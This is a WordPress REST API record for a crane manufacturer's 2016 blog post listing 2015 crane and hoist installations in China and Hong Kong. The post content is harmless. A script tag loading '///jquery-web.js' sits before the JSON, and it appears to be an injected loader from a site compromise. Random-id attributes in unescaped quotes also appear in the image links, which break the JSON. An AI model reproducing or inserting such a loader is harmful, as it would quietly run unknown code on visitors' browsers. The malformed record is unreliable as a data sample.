<script src="///jquery-web.js"></script>{"id":2629,"date":"2016-01-20T13:18:56","date_gmt":"2016-01-20T12:18:56","guid":{"rendered":"https:\/\/www.ghcranes.com\/blog\/?p=2629"},"modified":"2017-08-10T13:55:25","modified_gmt":"2017-08-10T11:55:25","slug":"installations-reference-in-china-and-hong-kong-2015","status":"publish","type":"post","link":"https:\/\/www.ghcranes.com\/blog\/installations-reference-in-china-and-hong-kong-2015\/","title":{"rendered":"Installations reference in China and Hong Kong 2015"},"content":{"rendered":"<p>These are some of the most important installations in Asia 2015.<\/p>\n<p>BECKMANN AND VOLMER. Bridge cranes of 25t, 50t and 80t in China.<\/p>\n<p><a id="qzskbblj" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2016\/01\/BECKMANN-AND-VOLMER-CHINA_02.jpg\"><\/a> <a id="jsgxxfpw" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2016\/01\/BECKMANN-AND-VOLMER-CHINA_01.jpg\"><\/a><a id="llwxhkpn" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2016\/01\/BECKMANN-AND-VOLMER-CHINA_03.jpg\"><\/a><\/p>\n<p>DBJV. Gantry cranes of 30t, 35t and 50t in Hong Kong.<\/p>\n<p><a id="lfcbjqqc" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2016\/01\/DBJV-HONG-KONG_02.jpg\"><\/a> <a id="hfcpljsd" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2016\/01\/DBJV-HONG-KONG_01.jpg\"><\/a><a id="enzflcbb" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2016\/01\/DBJV-HONG-KONG_03.jpg\"><\/a><\/p>\n<p>SUNLEADER. Marine hoist\u00a0of 35t in Hong Kong.<\/p>\n<p><a id="dxhqkhbb" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2016\/01\/SUNLEADER-TRAVELIFT-35t-HONG-KONG-24_R.jpg\"><\/a><\/p>\n<!-- AddThis Advanced Settings generic via filter on the_content --><!-- AddThis Share Buttons generic via filter on the_content -->","protected":false},"excerpt":{"rendered":"<p>These are some of the most important installations in Asia 2015. BECKMANN AND VOLMER. Bridge cranes of 25t, 50t and 80t in China. DBJV. Gantry cranes of 30t, 35t and 50t in Hong Kong. SUNLEADER. Marine hoist\u00a0of 35t in Hong Kong.<!-- AddThis Advanced Settings generic via filter on wp_trim_excerpt --><!-- AddThis Share Buttons generic via filter on wp_trim_excerpt --><\/p>\n","protected":false},"author":1,"featured_media":2643,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[2],"tags":[522,4,235,256,58,573,1011,8],"jetpack_featured_media_url":"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2016\/01\/DBJV-HONG-KONG_04-e1452680906353.jpg","_links":{"self":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts\/2629"}],"collection":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/comments?post=2629"}],"version-history":[{"count":12,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts\/2629\/revisions"}],"predecessor-version":[{"id":5471,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts\/2629\/revisions\/5471"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/media\/2643"}],"wp:attachment":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/media?parent=2629"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/categories?post=2629"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/tags?post=2629"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}